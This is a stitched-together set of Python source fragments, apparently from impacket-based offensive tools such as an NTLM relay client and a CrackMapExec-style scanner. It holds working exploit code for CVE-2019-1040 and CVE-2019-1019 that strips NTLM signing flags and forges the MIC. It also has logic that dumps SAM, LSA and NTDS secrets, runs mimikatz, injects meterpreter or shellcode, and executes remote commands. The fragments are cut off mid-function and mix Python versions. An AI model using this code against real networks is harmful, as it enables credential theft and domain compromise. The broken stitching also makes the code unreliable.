request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
'user_name'].decode('utf-16le')
request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge
request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
authenticator['Timestamp'] = 10
request['Authenticator'] = authenticator
request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ExtraFlags'] = 0
# request.dump()
try:
resp = dce.request(request)
# resp.dump()
except DCERPCException as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
return e.get_error_code()
logging.info("%s\\%s successfully validated through NETLOGON" % (
domainName, authenticateMessage['user_name'].decode('utf-16le')))
encryptedSessionKey = authenticateMessage['session_key']
if encryptedSessionKey != b'':
signingKey = generateEncryptedSessionKey(
resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
else:
signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
logging.info("SMB Signing key: %s " % hexlify(signingKey))
return STATUS_SUCCESS, signingKey
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits +=1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2, data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
preferredDialect = None
# Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
if self.serverConfig.remove_target:
preferredDialect = SMB2_DIALECT_21
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
existingConnection=smbClient, manualNegotiate=True)
return True
def setUid(self,uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negoMessage = NTLMAuthNegotiate()
negoMessage.fromString(negotiateMessage)
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
negotiateMessage = negoMessage.getData()
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
self.negotiateMessage = negotiateMessage
self.challengeMessage = challenge.getData()
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
self.serverChallenge = challenge['challenge']
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = negotiateMessage
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
# Just in case, clear the Unicode Flag
flags2 = v1client.get_flags ()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = negotiateMessage
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = sessionSetupData['Account']
sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
authMessage = NTLMAuthChallengeResponse()
authMessage.fromString(authenticateMessageBlob)
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
authMessage['MIC'] = b''
authMessage['MICLen'] = 0
authMessage['Version'] = b''
authMessage['VersionLen'] = 0
authenticateMessageBlob = authMessage.getData()
if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob
authData = respToken2.getData()
else:
authData = authenticateMessageBlob
signingKey = None
if self.serverConfig.remove_target:
# Trying to exploit CVE-2019-1019
# Discovery and Implementation by @simakov_marina
respToken2 = SPNEGO_NegTokenResp(authData)
authenticateMessageBlob = respToken2['ResponseToken']
errorCode, signingKey = self.netlogonSessionKey(authData)
# Recalculate MIC
res = NTLMAuthChallengeResponse()
res.fromString(authenticateMessageBlob)
newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
authData = respToken2.getData()
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
if signingKey:
logging.info("Enabling session signing")
self.session._SMBConnection.set_session_key(signingKey)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
def isAdmin(self):
rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
return "TRUE"
except scmr.DCERPCException as e:
pass
return "FALSE"
class SMBSpider:
def __init__(self, _host, _domain, _port, _user, _passwd, _hashes,
_check_content, _share, search_str, _exts, _max_size):
self.smbconnection = None
self.host = _host
self.domain = _domain
self.port = _port
self.user = _user
self.passwd = _passwd
self.hashes = _hashes
self.search_str = search_str
self.check_content = _check_content
self.share = _share
self.max_size = _max_size
self.files_extensions = _exts
def login(self):
try:
self.smbconnection = SMBConnection(self.host,
self.host,
None,
self.port,
timeout=2)
try:
self.smbconnection.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(
self.host, self.port, self.smbconnection.getServerOS(),
self.smbconnection.getServerName(), self.domain)
lmhash = ''
nthash = ''
if self.hashes:
lmhash, nthash = self.hashes.split(':')
self.smbconnection.login(self.user, self.passwd, self.domain,
lmhash, nthash)
return True
except Exception as e:
print "[!] {}".format(e)
return False
def logoff(self):
self.smbconnection.logoff()
def set_share(self, _share):
self.share = _share
def list_share(self):
share_names = []
for share in self.smbconnection.listShares():
share_names.append(str(share['shi1_netname'][:-1]))
return share_names
def scanwalk(self, subfolder, depth):
if depth == 0:
return
if subfolder == '' or subfolder == '.':
subfolder = '*'
elif subfolder.startswith('*/'):
subfolder = subfolder[2:] + '/*'
else:
subfolder = subfolder.replace('/*/', '/') + '/*'
for result in self.smbconnection.listPath(self.share, subfolder):
if result.get_longname() not in ['.', '..']:
# check if the file contains our pattern
for s in self.search_str:
if result.get_longname().lower().find(s) != -1:
yield '%s' % os.path.join(subfolder,
result.get_longname())
# if directory, be recursive
if result.is_directory():
for res in self.scanwalk(
subfolder.replace('*', '') + result.get_longname(),
depth - 1):
yield res
# check inside the file to found our pattern
elif not result.is_directory():
if self.max_size > result.get_filesize():
if result.get_longname().endswith(
self.files_extensions):
if self.check_content:
for res in self.search_string(
os.path.join(subfolder,
result.get_longname())):
try:
res = res.encode('utf-8')
yield '%s' % res
except:
pass
def search_string(self, path):
path = path.replace('*', '')
try:
rfile = RemoteFile(self.smbconnection,
path,
self.share,
access=FILE_READ_DATA)
rfile.open()
while True:
buffer = rfile.read(4096)
if not buffer:
break
for string in self.search_str:
indexes = [
m.start() for m in re.finditer(
string, buffer, flags=re.IGNORECASE)
]
for i in indexes:
r = "{share} {path} > {content}".format(
share=self.share,
path=path,
content=buffer[i:].strip().split('\n')[0])
yield r
rfile.close()
except SessionError as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
pass
except Exception, e:
print e
class SMBTransport(DCERPCTransport):
"""Implementation of ncacn_np protocol sequence"""
def __init__(self,
remoteName,
dstport=445,
filename='',
username='',
password='',
domain='',
lmhash='',
nthash='',
aesKey='',
TGT=None,
TGS=None,
remote_host='',
smb_connection=0,
doKerberos=False,
kdcHost=None):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = None
self.__tid = 0
self.__filename = filename
self.__handle = 0
self.__pending_recv = 0
self.set_credentials(username, password, domain, lmhash, nthash,
aesKey, TGT, TGS)
self._doKerberos = doKerberos
self._kdcHost = kdcHost
if remote_host != '':
self.setRemoteHost(remote_host)
if smb_connection == 0:
self.__existing_smb = False
else:
self.__existing_smb = True
self.set_credentials(*smb_connection.getCredentials())
self.__prefDialect = None
self.__smb_connection = smb_connection
def preferred_dialect(self, dialect):
self.__prefDialect = dialect
def setup_smb_connection(self):
if not self.__smb_connection:
self.__smb_connection = SMBConnection(
self.getRemoteName(),
self.getRemoteHost(),
sess_port=self.get_dport(),
preferredDialect=self.__prefDialect)
if self._strict_hostname_validation:
self.__smb_connection.setHostnameValidation(
self._strict_hostname_validation,
self._validation_allow_absent, self._accepted_hostname)
def connect(self):
# Check if we have a smb connection already setup
if self.__smb_connection == 0:
self.setup_smb_connection()
if self._doKerberos is False:
self.__smb_connection.login(self._username, self._password,
self._domain, self._lmhash,
self._nthash)
else:
self.__smb_connection.kerberosLogin(self._username,
self._password,
self._domain,
self._lmhash,
self._nthash,
self._aesKey,
kdcHost=self._kdcHost,
TGT=self._TGT,
TGS=self._TGS)
self.__tid = self.__smb_connection.connectTree('IPC$')
self.__handle = self.__smb_connection.openFile(self.__tid,
self.__filename)
self.__socket = self.__smb_connection.getSMBServer().get_socket()
return 1
def disconnect(self):
self.__smb_connection.disconnectTree(self.__tid)
# If we created the SMB connection, we close it, otherwise
# that's up for the caller
if self.__existing_smb is False:
self.__smb_connection.logoff()
self.__smb_connection.close()
self.__smb_connection = 0
def send(self, data, forceWriteAndx=0, forceRecv=0):
if self._max_send_frag:
offset = 0
while 1:
toSend = data[offset:offset + self._max_send_frag]
if not toSend:
break
self.__smb_connection.writeFile(self.__tid,
self.__handle,
toSend,
offset=offset)
offset += len(toSend)
else:
self.__smb_connection.writeFile(self.__tid, self.__handle, data)
if forceRecv:
self.__pending_recv += 1
def recv(self, forceRecv=0, count=0):
if self._max_send_frag or self.__pending_recv:
# _max_send_frag is checked because it's the same condition we checked
# to decide whether to use write_andx() or send_trans() in send() above.
if self.__pending_recv:
self.__pending_recv -= 1
return self.__smb_connection.readFile(
self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
else:
return self.__smb_connection.readFile(self.__tid, self.__handle)
def get_smb_connection(self):
return self.__smb_connection
def set_smb_connection(self, smb_connection):
self.__smb_connection = smb_connection
self.set_credentials(*smb_connection.getCredentials())
self.__existing_smb = True
def get_smb_server(self):
# Raw Access to the SMBServer (whatever type it is)
return self.__smb_connection.getSMBServer()
def get_socket(self):
return self.__socket
def doesSupportNTLMv2(self):
return self.__smb_connection.doesSupportNTLMv2()
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(
address, options.target_ip,
sess_port=int(options.port)) #, preferredDialect=SMB_DIALECT)
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash,
options.aesKey, options.dc_ip)
else:
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.getDialect() != SMB_DIALECT:
# Let's disable SMB3 Encryption for now
smbClient._SMBConnection._Session[
'SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
pipeDream = PIPEDREAM(smbClient, options)
pipeDream.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
def main_greenlet(host):
try:
smb = SMBConnection(host, host, None, settings.args.port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
try:
smb.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = settings.args.domain
s_name = smb.getServerName()
if not domain:
domain = smb.getServerDomain()
if not domain:
domain = s_name
cme_logger = CMEAdapter(
logging.getLogger('CME'), {
'host': host,
'hostname': s_name,
'port': settings.args.port,
'service': 'SMB'
})
cme_logger.info(u"{} (name:{}) (domain:{})".format(
smb.getServerOS(), s_name, domain))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
pass
if settings.args.mssql:
cme_logger = CMEAdapter(
logging.getLogger('CME'), {
'host': host,
'hostname': s_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'
})
#try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
instances = ms_sql.getInstances(5)
cme_logger.info("Found {} MSSQL instance(s)".format(
len(instances)))
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
#except socket.error as e:
# if settings.args.verbose: mssql_cme_logger.error(str(e))
if (settings.args.user and
(settings.args.passwd
or settings.args.hash)) or settings.args.combo_file:
ms_sql = None
smb = None
if settings.args.mssql:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port),
cme_logger)
ms_sql.connect()
ms_sql, user, passwd, ntlm_hash, domain = smart_login(
host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
else:
smb = SMBConnection(host, host, None, settings.args.port)
smb, user, passwd, ntlm_hash, domain = smart_login(
host, domain, smb, cme_logger)
if ms_sql:
connection = ms_sql
if settings.args.mssql_query:
sql_shell.onecmd(settings.args.mssql_query)
if smb:
connection = smb
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
rfs.delete()
if settings.args.download:
rfs.download()
if settings.args.upload:
rfs.upload()
if settings.args.list:
rfs.list()
if settings.args.enum_shares:
shares = SHAREDUMP(smb, cme_logger)
shares.dump(host)
if settings.args.enum_users:
users = SAMRDump(cme_logger,
'{}/SMB'.format(settings.args.port), user,
passwd, domain, ntlm_hash,
settings.args.aesKey, settings.args.kerb)
users.dump(host)
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host),
smb, settings.args.kerb)
dumper.do_remote_ops()
if settings.args.sam:
dumper.dump_SAM()
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.pass_pol:
pass_pol = PassPolDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user, passwd, domain, ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
if settings.args.rid_brute:
lookup = LSALookupSid(cme_logger, user, passwd, domain,
'{}/SMB'.format(settings.args.port),
ntlm_hash, settings.args.rid_brute)
lookup.dump(host)
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
ntlm_hash)
if settings.args.enum_sessions:
rpc_query.enum_sessions(host)
if settings.args.enum_disks:
rpc_query.enum_disks(host)
if settings.args.enum_lusers:
rpc_query.enum_lusers(host)
if settings.args.spider:
smb_spider = SMBSPIDER(cme_logger, host, smb)
smb_spider.spider(settings.args.spider,
settings.args.depth)
smb_spider.finish()
if settings.args.wmi_query:
wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
ntlm_hash, settings.args.kerb,
settings.args.aesKey)
wmi_query.run(settings.args.wmi_query, host,
settings.args.namespace)
if settings.args.check_uac:
uac = UACdump(cme_logger, smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest or settings.args.disable_wdigest:
wdigest = WdisgestEnable(cme_logger, smb,
settings.args.kerb)
if settings.args.enable_wdigest:
wdigest.enable()
elif settings.args.disable_wdigest:
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(
cme_logger, user, passwd, domain,
'{}/SMB'.format(settings.args.port),
settings.args.service, settings.args.aesKey,
settings.args.kerb, ntlm_hash, settings.args)
service_control.run(host)
if settings.args.command:
EXECUTOR(cme_logger, settings.args.command, host, domain,
settings.args.no_output, connection,
settings.args.execm, user, passwd, ntlm_hash)
if settings.args.pscommand:
EXECUTOR(
cme_logger,
ps_command(settings.args.pscommand, settings.args.ps_arch),
host, domain, settings.args.no_output, connection,
settings.args.execm, user, passwd, ntlm_hash)
if settings.args.mimikatz:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
True, connection, settings.args.execm, user, passwd,
ntlm_hash)
if settings.args.gpp_passwords:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
domain, True, connection, settings.args.execm, user,
passwd, ntlm_hash)
if settings.args.mimikatz_cmd:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.mimikatz(settings.args.mimikatz_cmd),
host, domain, True, connection, settings.args.execm,
user, passwd, ntlm_hash)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.powerview(settings.args.powerview),
host, domain, True, connection, 'smbexec', user,
passwd, ntlm_hash)
if settings.args.inject:
powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'):
EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
host, domain, True, connection,
settings.args.execm, user, passwd, ntlm_hash)
if settings.args.inject == 'shellcode':
EXECUTOR(cme_logger, powah_command.inject_shellcode(),
host, domain, True, connection,
settings.args.execm, user, passwd, ntlm_hash)
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
domain, True, connection, settings.args.execm,
user, passwd, ntlm_hash)
try:
smb.logoff()
except:
pass
try:
ms_sql.disconnect()
except:
pass
except SessionError as e:
print_error("{}:{} {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except NetBIOSError as e:
print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
e))
if settings.args.verbose: traceback.print_exc()
except DCERPCException as e:
print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
e))
if settings.args.verbose: traceback.print_exc()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return
def getMachineName(self):
if self.__kdcHost is not None and self.__targetDomain == self.__domain:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__targetDomain, self.__targetDomain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise ('Error while anonymous logging into %s' % self.__domain)
else:
try:
s.logoff()
except Exception:
# We don't care about exceptions here as we already have the required
# information. This also works around the current SMB3 bug
pass
return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
class ImpacketConnection:
class Options:
def __init__(self,
hostname="",
domain_name="",
username="",
password="",
lmhash="",
nthash="",
timeout=5):
self.hostname = hostname
self.domain_name = domain_name
self.username = username
self.password = password
self.lmhash = lmhash
self.nthash = nthash
self.timeout = timeout
def __init__(self, options: Options):
self.options = options
self.hostname = options.hostname
self.domain_name = options.domain_name
